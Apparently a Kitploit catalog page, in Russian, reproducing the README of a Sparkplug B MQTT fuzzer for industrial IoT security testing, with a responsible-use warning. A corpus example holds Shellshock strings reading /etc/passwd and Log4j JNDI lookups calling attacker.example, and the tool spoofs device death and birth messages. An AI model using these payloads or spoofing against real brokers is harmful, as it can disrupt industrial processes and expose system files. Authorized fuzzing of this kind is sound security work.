Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
sparkplugFuzzer — Фаззер для протокола Sparkplug B IIoT | Kitploit
Инструменты/GitHubGitHub/bishopfox/sparkplugfuzzer
Динамический анализ (песочница)Безопасность IoTАнализ уязвимостейБезопасность SCADA/ICSФаззингСетевая безопасностьТестирование на ПроникновениеАутентификация
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Фаззер для протокола Sparkplug B IIoT

Репозиторий
1402 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Sparkplug B MQTT Security Fuzzer

Инструмент для всесторонней оценки безопасности протокольных реализаций Sparkplug B MQTT. Фаззер систематически тестирует все поля протокола для всех 9 типов сообщений, обнаруживает активные устройства в сети и создает подробные журналы для анализа.

Ответственное использование

Этот инструмент отправляет искаженные, внедряющие и нарушающие протокол сообщения MQTT целевому брокеру. Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Брокеры Sparkplug B часто находятся в средах OT/ICS, где неожиданные полезные нагрузки могут нарушить физические процессы — считайте, что любая цель находится рядом с производственной средой, пока не доказано обратное.

Если вы обнаружите уязвимость в реализации Sparkplug B с помощью этого инструмента, пожалуйста, следуйте скоординированному раскрытию информации с затронутым поставщиком. Чтобы сообщить о проблеме безопасности в самом инструменте, см. SECURITY.md.

Содержание

  • Обзор
  • Предварительные требования
  • Установка
  • Быстрый старт
  • Использование
    • Параметры командной строки
    • Категории фаззинга
    • Примеры
  • Как это работает
    • Поток выполнения
  • Обнаружение сети
  • Оценка аутентификации
  • Целевой фаззинг
  • Запуск тестов
  • Вывод и анализ журналов
    • Формат журнала
    • Анализ результатов
  • Покрытие протокола
    • Типы сообщений
    • Типы данных
    • Покрытие полей
  • Архитектура
  • Обзор

    Спецификация Sparkplug B определяет пространство имен тем и формат полезной нагрузки, построенные на MQTT и Google Protocol Buffers для сред промышленного Интернета вещей (IIoT). Этот фаззер оценивает безопасность и устойчивость реализаций Sparkplug B путем:

    • Тестирования всех 19 типов метрических данных с граничными значениями и условиями переполнения
    • Внедрения вредоносных строк (XSS, SQLi, строки формата, обход пути, внедрение команд)
    • Создания несоответствия типов между объявленными типами данных и фактическими полями значений protobuf
    • Нарушения порядка автомата состояний протокола (данные до рождения, двойные рождения, данные после смерти)
    • Повреждения сериализованных полезных нагрузок protobuf на бинарном уровне
    • Подделки сертификатов рождения/смерти для обнаруженных сетевых устройств
    • Фаззинга пространства имен тем MQTT с помощью специальных символов, вариантов регистра и структурных нарушений

    Предварительные требования

    • Python 3.8+
    • MQTT Broker — целевая тестируемая система (например, Mosquitto, HiveMQ, EMQX или любой брокер, поддерживающий Sparkplug B)
    • Разрешение — этот инструмент предназначен только для авторизованного тестирования безопасности

    Установка

    На современных системах Debian/Ubuntu/Kali (системы PEP-668) --setup не может выполнить pip install в системный Python — сначала используйте виртуальное окружение или pipx. Рекомендуемый путь:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

    root@kitploit:~
    Или запустите через `pipx run`, если вы предпочитаете не управлять виртуальным окружением вручную. На старых системах без принудительного применения PEP-668, простая команда `python3 sparkplug-fuzzer.py --setup` работает напрямую.
    
    `--setup` сделает следующее:
    1. Установит зависимости pip (`paho-mqtt`, `protobuf`)
    2. Клонирует заданный тег репозитория [Eclipse Tahu](https://github.com/eclipse/tahu) (см. `TAHU_REF` в скрипте)
    3. Скопирует вспомогательные модули `sparkplug_b.py` и `array_packer.py`
    4. Скомпилирует `sparkplug_b.proto` в привязки Python (использует `protoc`, если доступен, иначе откатывается к `grpcio-tools`)
    5. Очистит клон Tahu
    
    После настройки ваша директория должна содержать:```
    sparkplug-fuzzer.py     # The fuzzer
    sparkplug_b.py          # Sparkplug B helper module (from Tahu)
    array_packer.py         # Array packing helper (from Tahu)
    sparkplug_b_pb2.py      # Generated protobuf bindings
    requirements.txt        # Python dependencies
    
    Ручная настройка (если --setup не работает)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

    Быстрый старт```bash

    python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

    root@kitploit:~
    Это позволит:
    1. Подключиться к брокеру на `localhost:1883`
    2. Прослушивать 10 секунд для обнаружения существующих устройств Sparkplug
    3. Установить фаззер как узел/устройство Sparkplug
    4. Запустить все 12 категорий фаззинга (~635+ тестов)
    5. Нацелиться на любые обнаруженные устройства с поддельными сообщениями
    6. Записать результаты в `sparkplug_fuzz.jsonl`
    
    ## Использование
    
    ### Параметры командной строки```
    python3 sparkplug-fuzzer.py [OPTIONS]
    
    ОпцияПо умолчаниюОписание
    -H, --hostlocalhostИмя хоста или IP-адрес MQTT-брокера
    -p, --port1883 (или 8883 с --tls)Порт MQTT-брокера
    -u, --usernameНетИмя пользователя MQTT (также читает переменную окружения MQTT_USERNAME)
    -P, --passwordНетПароль MQTT (также читает MQTT_PASSWORD; передайте - для чтения из stdin без эха)
    --tlsвыклПодключение через TLS; порт по умолчанию становится 8883, если -p не указан
    --cafileНетПакет CA для проверки сертификата TLS-сервера
    --insecureвыклПропустить проверку имени хоста/сертификата TLS (только для тестирования)
    -g, --groupSparkplug B DevicesИдентификатор группы Sparkplug, под которым регистрируется фаззер
    -n, --nodeFuzzNodeИдентификатор граничного узла Sparkplug для фаззера
    -d, --deviceFuzzDeviceИдентификатор устройства Sparkplug для фаззера
    -c, --categoriesallСписок категорий фаззинга, разделенных пробелами
    --discovery-time10Секунды пассивного прослушивания для обнаружения сети
    --delay0.1Задержка в секундах между сообщениями фаззинга

    Категории фаззинга

    КатегорияОписаниеПриблизительное кол-во случаев
    boundaryМин/макс/переполнение для всех 19 числовых типов данных, is_null со значениями, комбинации флагов~200
    stringПолезные нагрузки внедрения (XSS, SQLi, строки формата, обход пути, внедрение команд, нулевые байты) в полях String, Text, UUID, MetaData и сообщениях STATE~100
    type_mismatchОбъявленный тип данных vs неправильное поле значения protobuf, недопустимые коды типов данных, несколько полей oneof~150
    sequenceПропуски последовательности, дубликаты, обратный порядок, переполнение, несоответствие bdSeq между NBIRTH/NDEATH~20
    timestampНоль, максимум uint64, далекое будущее/прошлое, несоответствие временных меток метрики и полезной нагрузки, экстремумы DateTime~15
    aliasДублирующиеся псевдонимы для разных метрик, экстремальные значения псевдонимов, неопределенные псевдонимы в сообщениях данных~15
    orphanДанные/команды, нацеленные на несуществующие устройства, узлы, группы; неопределенные ссылки на шаблоны~20
    orderingНарушения состояния протокола: данные до рождения, двойные рождения, данные после смерти, неправильный порядок рождения~15
    recursiveВложенные цепочки PropertySet (глубина 1-100), несоответствия длины ключ/значение, вариации PropertySetList~15
    datasetНесоответствие количества столбцов, несоответствие элементов строк, нарушения типов, пустые/огромные наборы данных, специальные символы в именах столбцов~25
    malformedПовреждение двоичного protobuf: усечение, перевороты битов, случайные байты, слишком длинные varint, неправильные классы сообщений~30
    topicВарианты регистра, неправильные версии, лишние/отсутствующие слеши, специальные символы, подстановочные знаки в строках темы~30

    Примеры

    Запуск всех категорий с аутентификацией:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

    root@kitploit:~
    **Передавайте учетные данные, не раскрывая их в `ps`:**```bash
    # Via environment
    MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
    
    # Or read password from stdin (getpass — no echo)
    python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
    

    Подключение через TLS:```bash

    System trust store, default port 8883

    python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

    Custom CA bundle

    python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

    root@kitploit:~
    **Пассивная оценка аутентификации + активный пробник записи:**```bash
    python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
    

    Запускать только категории, связанные с инъекциями:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

    root@kitploit:~
    **Расширенное обнаружение с медленным темпом (минимизация нагрузки на брокер):**```bash
    python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
    

    Пользовательская идентификация группы/узла и файл журнала:```bash python3 sparkplug-fuzzer.py -H broker.local
    -g "Production Floor" -n "TestNode01" -d "TestDevice01"
    -l production_fuzz_results.jsonl -vv

    root@kitploit:~
    **Отслеживайте трафик брокера в отдельном терминале:**```bash
    mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
    

    Настройка в изолированной среде с предварительно склонированным репозиторием Tahu:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

    transfer ~/tahu to the air-gapped target, then on the target:

    python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

    root@kitploit:~
    **Макет вывода для каждого запуска:**```bash
    # Default — directory is auto-named under ./sparkplug-runs/
    python3 sparkplug-fuzzer.py -H broker.local
    # -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
    
    # Explicit directory:
    python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
    

    Пользовательские корпусы строк

    Встроенный STRING_FUZZ_VALUES охватывает классические категории инъекций (пустые/огромные строки, нулевые байты, строки формата, XSS, SQLi, обход путей, прототипное загрязнение). Однако в реальных задачах часто требуются вторичные полезные нагрузки, нацеленные на то, что потребляет данные брокера в нисходящем потоке — историки, передающие имена метрик через оболочку, Java-совместимые SCADA-хосты, передающие значения в log4j, приборные панели, отображающие имена тегов в HTML, и т.д.

    Флаг --extra-string-payloads <FILE> добавляет дополнительный корпус к встроенным. Формат: одна полезная нагрузка на строку, UTF-8. Строки, содержащие только пробелы, сохраняются (часто намеренно во фраззинге); полностью пустые строки отбрасываются. Флаг добавляет к встроенному списку, а не заменяет его, поэтому существующее покрытие сохраняется.```bash

    corpus.txt — Shellshock + Log4j JNDI prefixes

    cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

    python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

    root@kitploit:~
    Фаззер выводит `[+] Extra string payloads: loaded N from <path>` при запуске, и каждая полезная нагрузка передаётся через каждое место, где выполняется итерация `STRING_FUZZ_VALUES` — в первую очередь это категория `string`, но также и строковые варианты генератора несоответствия типов.
    
    Жёсткие ограничения: размер файла 10 МБ, 10 000 полезных нагрузок. При необходимости отрегулируйте `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` в верхней части скрипта (если у вас есть достаточный запас времени выполнения).
    
    ## Примечания к выпуску v0.2
    
    - Флаг `--output-dir` плюс автоматически создаваемый каталог по умолчанию `./sparkplug-runs/<UTC-ts>_<host>/` — каждый запуск попадает в свой собственный каталог, чтобы артефакты не пересекались между запусками.
    - Флаг `--tahu-path` для `--setup` — указывает на локальный клон `eclipse/tahu` для изолированных тестовых сред, где исходящий `git clone` заблокирован. Локальный источник никогда не удаляется при очистке.
    - Метки времени в консоли и JSONL принудительно установлены в UTC с явным суффиксом `Z`, чтобы перекрёстная корреляция с журналами брокера не требовала арифметики с часовыми поясами.
    - Логгер `paho.mqtt` по умолчанию ограничен уровнем WARNING; виден на INFO при `-v`, DEBUG при `-vv`. Пакетная телеметрия клиента больше не заглушает сигнал фаззера.
    - Тестовый набор pytest в `tests/` — 23 теста, охватывающих FuzzLogger, вспомогательные функции для тем, разрешение выходных путей и проверку `--tahu-path`. См. [Запуск тестов](#running-the-tests).
    
    ## Запуск тестов
    
    Тестовый набор охватывает часть, не зависящую от сети (корректность логгера, построитель тем, разрешение выходных путей, разбор `--tahu-path`) и выполняется без установленного брокера, paho-mqtt или protobuf.```bash
    pip install -r requirements-dev.txt
    pytest tests/
    

    Ожидается: 23 passed. Пути, зависящие от сети (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle), намеренно отложены до будущего уровня интеграционного тестирования с контейнеризованным брокером.

    Как это работает

    Поток выполнения```

    1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
    2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
    3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
    4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
    5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
    6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
    root@kitploit:~
    ### Network Discovery
    
    Во время фазы обнаружения фуззер подписывается на `spBv1.0/#` и прослушивает весь трафик Sparkplug. Компонент `DeviceTracker` анализирует наблюдаемые сообщения для построения карты активной сети:
    
    - **NBIRTH** сообщения раскрывают граничные узлы и их определения метрик (имя, псевдоним, тип данных)
    - **DBIRTH** сообщения раскрывают устройства и их схемы метрик
    - **NDEATH/DDEATH** сообщения отслеживают состояние жизненного цикла узлов/устройств
    - **STATE** сообщения раскрывают хост-приложения и их статус онлайн/офлайн
    
    Эта карта используется в фазе целенаправленного фаззинга для отправки контекстно-релевантных атак на реальные устройства с их фактическими схемами метрик.
    
    ### Authentication Assessment
    
    Когда фуззер подключается без `-u/-P` (и `MQTT_USERNAME`/`MQTT_PASSWORD` не установлены), он выводит статус аутентификации брокера только на основе пассивного обнаружения. Это создает одно событие `AUTH_ASSESSMENT` в логе и печатную сводку:
    
    | Сигнал | Что означает | Как определяется |
    |---|---|---|
    | `anon_connect_accepted` | Брокер принял CONNECT без учетных данных | Собственное CONNECT фуззера было успешным |
    | `anon_subscribe_accepted` | Брокер пересылает `spBv1.0/#` / `STATE/#` анонимным клиентам | Поступило хотя бы одно RX-сообщение в течение окна прослушивания |
    | `anon_publish_accepted` | Брокер принимает PUBLISH от анонимных клиентов | Устанавливается только если передан `--probe-anon-write`; QoS=1 зонд + ожидание PUBACK |
    | `unauth_endpoints` | Узлы / устройства / хост-приложения наблюдаемы без аутентификации | Каждый объект на обнаруженной карте сети (аутентификация никогда не производилась) |
    
    Зонд QoS=1 является опциональным, поскольку он переходит от пассивного к активному. При QoS=0 брокер молча отбрасывает сообщения, которые он бы отклонил, поэтому подтверждение возможности записи требует чтения PUBACK.
    
    MQTT/Sparkplug не имеют аутентификации на уровне конечных точек — аутентификация является заботой брокера. Таким образом, «конечные точки наблюдаемы без аутентификации» сообщается как список *целей, достижимых без затрат*, а не как свойство самих конечных точек.
    
    ### Targeted Fuzzing
    
    После систематического фаззинга инструмент нацеливается на каждое обнаруженное устройство с помощью:
    
    1. **Поддельные уведомления о смерти** — публикует NDEATH/DDEATH, чтобы обмануть подписчиков, заставив их думать, что устройства ушли в офлайн
    2. **Поддельные сертификаты рождения** — публикует NBIRTH/DBIRTH, чтобы выдать себя за обнаруженные узлы/устройства
    3. **Внедрение команд** — отправляет сообщения NCMD/DCMD с граничными значениями для каждой известной метрики, проверяя, проверяет ли цель входящие команды
    4. **Команды перерождения** — отправляет `Node Control/Rebirth` NCMD, чтобы заставить устройства перепубликовать свои рождения
    
    ## Output and Log Analysis
    
    ### Log Format
    
    Файл лога использует формат JSON-lines (`.jsonl`) — один JSON-объект на строку, подходит для анализа с помощью `jq`, Python или любого инструмента, работающего с JSON.
    
    Полезные нагрузки размером более 64 КиБ не встраиваются шестнадцатерично; вместо этого `payload_hex` содержит `sha256:<digest>+len=<n>`, чтобы лог оставался ограниченным для очень больших фазз-кейсов. `payload_len` присутствует всегда.
    
    **TX record** (outbound fuzz message):```json
    {
      "ts": "2026-04-10T15:30:00.123456Z",
      "dir": "TX",
      "case_id": "BOUNDARY-0042",
      "category": "boundary",
      "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
      "payload_hex": "0800120a0a06...",
      "payload_len": 28,
      "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
      "description": "Boundary Int32 = 2147483647 (int_value)"
    }
    

    RX-запись (входящее сообщение из сети):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

    root@kitploit:~
    **Запись события** (системное событие):```json
    {
      "ts": "2026-04-10T15:29:50.000000Z",
      "dir": "EVENT",
      "event": "DISCOVERY_COMPLETE",
      "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
    }
    

    Анализ результатов

    Подсчет случаев по категориям:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

    root@kitploit:~
    **Извлеките все случаи строковой инъекции:**```bash
    jq 'select(.category == "string")' sparkplug_fuzz.jsonl
    

    Список всех обнаруженных устройств:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

    root@kitploit:~
    **Найти случаи, которые вызвали отключения брокера:**```bash
    jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
    

    Выполнить оценку аутентификации:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

    root@kitploit:~
    **Список конечных точек, доступных без аутентификации:**```bash
    jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
    

    Получить количество TX за время (для анализа скорости):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

    root@kitploit:~
    **Экспортировать все темы, опубликованные в:**```bash
    jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
    

    Анализ с помощью Python:```python import json

    with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

    tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

    print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

    Find any decode errors in received messages (possible crash indicators)

    errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

    root@kitploit:~
    ## Охват протоколов
    
    ### Типы сообщений
    
    Тестируются все 9 типов сообщений Sparkplug B:
    
    | Тип сообщения | Шаблон топика | Описание | Использование фаззера |
    |---|---|---|---|
    | NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Сертификат рождения узла | Устанавливает присутствие фаззера; подделывается для обнаруженных узлов; тесты порядка |
    | NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Уведомление о смерти узла | MQTT last-will; подделывается для обнаруженных узлов; тесты порядка |
    | DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Сертификат рождения устройства | Устанавливает устройство фаззера; подделывается для обнаруженных устройств; тесты порядка |
    | DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Уведомление о смерти устройства | Подделывается для обнаруженных устройств; тесты порядка; тесты сирот |
    | NDATA | `spBv1.0/{group}/NDATA/{node}` | Обновление данных узла | Граничные значения; порядковые номера; тесты порядка |
    | DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Обновление данных устройства | Основное средство для большинства категорий фаззинга |
    | NCMD | `spBv1.0/{group}/NCMD/{node}` | Команда узла | Целевой фаззинг (команды перезагрузки); тесты сирот |
    | DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Команда устройства | Целевой фаззинг обнаруженных метрик устройства; тесты сирот |
    | STATE | `STATE/{host_id}` | Состояние хост-приложения (JSON) | Внедрение некорректного JSON |
    
    ### Типы данных
    
    Все 19 типов данных метрик Sparkplug B тестируются с типовыми граничными значениями:
    
    | Код | Тип | Поле Protobuf | Проверенные граничные значения |
    |------|------|---------------|----------------------|
    | 1 | Int8 | int_value | 0, -128, 127, 128 (переполнение), -129 (исчерпание) |
    | 2 | Int16 | int_value | 0, -32768, 32767, переполнение/исчерпание |
    | 3 | Int32 | int_value | 0, -2^31, 2^31-1, переполнение/исчерпание |
    | 4 | Int64 | long_value | 0, -2^63, 2^63-1, переполнение |
    | 5 | UInt8 | int_value | 0, 255, 256, -1 |
    | 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
    | 7 | UInt32 | int_value | 0, 4294967295, -1 |
    | 8 | UInt64 | long_value | 0, 2^64-1, -1 |
    | 9 | Float | float_value | 0.0, -0.0, макс, мин, inf, -inf, NaN |
    | 10 | Double | double_value | 0.0, -0.0, макс, мин, inf, -inf, NaN |
    | 11 | Boolean | boolean_value | True, False; также тестируется с сырыми целыми значениями (0, 1, 2, 255) |
    | 12 | String | string_value | Пустая, длинная (до 64КБ), полезные нагрузки инъекций |
    | 13 | DateTime | long_value | Эпоха, макс, далёкое будущее/прошлое |
    | 14 | Text | string_value | Те же полезные нагрузки инъекций, что и для String |
    | 15 | UUID | string_value | Пустая, корректная, некорректный формат, инъекции |
    | 16 | DataSet | dataset_value | Нарушения структуры через категорию dataset |
    | 17 | Bytes | bytes_value | Пустая, нулевые байты, случайные, большие |
    | 18 | File | bytes_value | Пустая, сигнатурные байты, большие |
    | 19 | Template | template_value | Неопределённые ссылки, шаблоны-сироты |
    
    ### Поля покрытия
    
    Фаззер покрывает 87+ уникальных путей полей protobuf, включая:
    
    - **Корневые поля полезной нагрузки**: timestamp, seq, uuid, body, metrics
    - **Поля метрик**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties и все варианты value oneof
    - **Поля MetaData**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
    - **PropertySet/PropertyValue**: keys, values, type, is_null, рекурсивное propertyset_value, propertysets_value
    - **DataSet**: num_of_columns, columns, types, rows, elements, все варианты DataSetValue
    - **Template**: version, template_ref, is_definition, вложенные метрики, parameters
    
    ## Архитектура
    
    Фаззер представляет собой один Python-файл, организованный в следующие компоненты:```
    sparkplug-fuzzer.py
        |
        +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
        |       Type definitions and fuzz value tables
        |
        +-- FuzzLogger
        |       JSON-lines file logging + console output
        |       Protobuf payload decoding
        |
        +-- DeviceTracker
        |       Passive network discovery
        |       Tracks groups, nodes, devices, metrics
        |
        +-- PayloadBuilder
        |       Valid payload construction (sparkplug_b helpers)
        |       Raw payload construction (sparkplug_b_pb2 direct)
        |       Binary corruption (truncate, flip, append)
        |
        +-- 12 Fuzz Generators
        |       Each is a Python generator yielding (topic, bytes, desc)
        |       Covers boundary, string, type, seq, timestamp, alias,
        |       orphan, ordering, recursive, dataset, malformed, topic
        |
        +-- SparkplugFuzzer
        |       Orchestration: connect, discover, fuzz, target, report
        |       Centralized publish with logging
        |       Auto-reconnect on disconnect
        |
        +-- CLI (argparse) + main()
                Argument parsing and entry point
    

    Двухуровневая конструкция полезной нагрузки является ключевым проектным решением:

    • Высокий уровень (PayloadBuilder.node_birth(), и т.д.) использует вспомогательные функции sparkplug_b для построения валидных, правильно сформированных полезных нагрузок. Используется для установления присутствия и целенаправленного спуфинга.
    • Низкий уровень (PayloadBuilder.raw_payload(), corrupt_bytes()) напрямую манипулирует protobuf-объектами sparkplug_b_pb2 или сырыми байтами, минуя проверки. Используется для намеренно повреждённых полезных нагрузок, которые тестируют обработку ошибок и граничные случаи парсера.

    Лицензия

    Этот проект лицензирован по лицензии MIT — см. LICENSE для получения полного текста.

    Сторонние компоненты

    sparkplug-fuzzer.py --setup загружает следующие компоненты из Eclipse Tahu во время установки и копирует их в рабочий каталог:

    • sparkplug_b.py — вспомогательный модуль Sparkplug B
    • array_packer.py — вспомогательный модуль упаковки массивов
    • sparkplug_b.proto — определение Protocol Buffer (используется для генерации sparkplug_b_pb2.py)

    Eclipse Tahu распространяется по лицензии Apache, версия 2.0. Ни один из исходных файлов Tahu не распространяется вместе с этим репозиторием. См. NOTICE для полной атрибуции.

    Скачать инструмент
    --probe-anon-writeвыклВо время обнаружения отправьте одну публикацию QoS=1, чтобы подтвердить, принимает ли брокер неаутентифицированный PUBLISH
    -l, --logsparkplug_fuzz.jsonlИмя выходного файла журнала (относительные пути помещаются внутрь --output-dir; абсолютные пути используются как есть)
    --output-dir./sparkplug-runs/<UTC-ts>_<host>/Каталог вывода для каждого запуска. Создается при отсутствии.
    -v, --verbose0Увеличивает подробность консоли (-v = info, -vv = debug). -vv также показывает пропуски генератора фаззинга, а ограниченный логгер paho.mqtt переключается на INFO/DEBUG с подробностью.
    --setup—Установить все зависимости и выйти
    --tahu-path—Путь к локальному клону eclipse/tahu (или его каталогу python/core). Используется --setup в изолированных средах вместо git clone.
    --extra-string-payloads—Путь к файлу с дополнительными полезными нагрузками для внедрения строк (по одной на строку, UTF-8). Добавляется к встроенному STRING_FUZZ_VALUES; не заменяет их. Максимум 10 МБ / 10 000 полезных нагрузок. См. Пользовательские строковые корпуса.